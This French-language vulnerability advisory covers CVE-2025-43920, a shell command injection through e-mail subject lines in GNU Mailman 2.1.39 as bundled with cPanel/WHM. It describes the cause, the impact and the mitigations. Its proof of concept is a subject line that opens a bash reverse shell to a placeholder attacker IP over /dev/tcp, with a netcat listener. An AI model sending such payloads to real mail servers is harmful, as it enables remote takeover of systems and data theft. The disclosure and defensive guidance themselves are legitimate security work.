CVE-2025-43920 : Injection de commandes via l'objet d'un e-mail dans GNU Mailman 2.1.39 (Bundle cPanel/WHM)

Découvert par : Firudin Davudzada & Musazada Aydan
Date de divulgation : Avril 2025
Identifiant CVE : CVE-2025-43920
Sévérité : 5.4 Moyen (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N)
Type d'attaque : À distance
Logiciel concerné : GNU Mailman 2.1.39 (intégré à cPanel/WHM)

Présentation

GNU Mailman 2.1.39, tel qu'intégré à cPanel et WHM, présente une faille critique d'injection de commandes qui permet à des attaquants non authentifiés d'exécuter des commandes système arbitraires. La vulnérabilité survient lorsqu'un archiviste externe est configuré via PUBLIC_EXTERNAL_ARCHIVER ou PRIVATE_EXTERNAL_ARCHIVER dans le fichier de configuration mm_cfg.py, et que la ligne d'objet de l'e-mail contient des métacaractères shell qui ne sont pas correctement échappés. Cela peut conduire à une compromission complète du système, permettant aux attaquants d'établir des shells inversés, d'exfiltrer des données ou d'effectuer d'autres actions malveillantes.

Détails de la vulnérabilité

• Type de vulnérabilité : Injection de commandes
• Éditeur : GNU Mailman (GNU Mailman)
• Versions concernées : Mailman 2.1.39 ; probablement affecte les versions 2.1.x antérieures (en attente de tests de régression)
• Composants concernés :
  • Configuration de l'archiviste externe (PUBLIC_EXTERNAL_ARCHIVER, PRIVATE_EXTERNAL_ARCHIVER)
  • Mailman/Handlers/ (logique de traitement de l'objet de l'e-mail, incluant potentiellement des fichiers comme CookHeaders.py)
• Cause racine : Lorsqu'un archiviste externe est configuré, la ligne d'objet de l'e-mail peut être passée à une commande shell sans échappement approprié, permettant l'exécution de commandes arbitraires si des métacaractères shell (par ex. ;, &, |) sont présents.
• Statut : Aucun correctif officiel disponible. Mailman 2.1.x est en fin de vie (EOL) ; une migration vers Mailman 3.x est fortement recommandée.

Preuve de concept

Pour exploiter cette vulnérabilité, un attaquant peut envoyer un e-mail à une liste gérée par Mailman avec une ligne d'objet malveillante, par exemple :

Subject: ;bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1

Prérequis :

• La liste Mailman cible doit avoir un archiviste externe configuré via PUBLIC_EXTERNAL_ARCHIVER ou PRIVATE_EXTERNAL_ARCHIVER.
• L'attaquant doit contrôler un serveur ou un client de messagerie capable d'envoyer à la liste cible.
• Un écouteur (par ex. netcat) doit être mis en place sur ATTACKERIP:4444 pour recevoir le shell inversé.

Résultat attendu : Si la commande de l'archiviste externe n'échappe pas la ligne d'objet, la commande malveillante s'exécute sur le serveur, établissant un shell inversé vers le serveur de l'attaquant.

Vecteurs d'attaque

• Vecteur principal : Lignes d'objet d'e-mail malveillantes contenant des métacaractères shell, envoyées à une liste de diffusion gérée par Mailman avec un archiviste externe configuré.
• Scénarios d'exploitation :
  • Établir des shells inversés pour un accès persistant.
  • Exécuter des commandes pour exfiltrer des données, modifier des configurations ou installer des logiciels malveillants.
  • Chaîner avec d'autres vulnérabilités pour escalader les attaques.
• Facilité d'exploitation : Élevée, car tout expéditeur d'e-mail peut cibler des listes publiques ou mal configurées dotées d'un archiviste externe.

Impact sur la sécurité

• Exécution de code : Élevée (exécution arbitraire de commandes OS).
• Élévation de privilèges : Élevée (accès root potentiel selon les privilèges d'exécution de Mailman).
• Divulgation d'informations : Élevée (la sortie des commandes peut révéler des données système).
• Déni de service : Élevé (des commandes malveillantes peuvent planter ou surcharger le serveur).

Atténuations

Actions immédiates

• Désactiver les archivistes externes : Définir PUBLIC_EXTERNAL_ARCHIVER et PRIVATE_EXTERNAL_ARCHIVER à None dans mm_cfg.py pour désactiver la fonctionnalité d'archiviste externe :

  root@kitploit:~

  PUBLIC_EXTERNAL_ARCHIVER = None
  PRIVATE_EXTERNAL_ARCHIVER = None
  

• Échapper les entrées : Si un archiviste externe est requis, assurez-vous que la commande échappe la ligne d'objet pour empêcher l'injection de métacaractères shell.

• Restreindre les abonnements : Limiter les abonnements aux listes de diffusion aux utilisateurs de confiance afin de réduire l'exposition.

Solutions à long terme

• Mettre à niveau vers Mailman 3.x : Migrer vers Mailman 3.x, qui implémente un échappement robuste des entrées et est activement maintenu.
• Désactiver le traitement des e-mails : Si cela n'est pas nécessaire, désactiver la fonctionnalité de traitement des e-mails de Mailman pour éliminer le vecteur d'attaque.
• Renforcer l'environnement : Exécuter Mailman dans un environnement conteneurisé avec des privilèges minimaux pour limiter l'impact d'éventuelles exploitations.

Chronologie

• T1 2025 : Découverte lors d'un test de pénétration autorisé.
• T1 2025 : Rapportée aux mainteneurs de GNU Mailman et de cPanel.
• Avril 2025 : CVE attribuée par MITRE.
• Avril 2025 : Divulgation publique via ce dépôt.

Références

• Code source de Mailman 2.1
• Enregistrement CVE-2025-43920
• Recommandations de sécurité de Mailman
• INCIBE-CERT - CVE-2025-43920
• VULDB - CVE-2025-43920
• National Institute of Standards and Technology (NIST) - CVE-2025-43920
• Tenable - CVE-2025-43920

Remerciements

Firudin Davudzada et Musazada Aydan ont divulgué de manière responsable cette vulnérabilité lors d'un engagement de test de pénétration autorisé. Merci à l'équipe CVE de MITRE pour la coordination.

Contact

E-mail : [email protected]\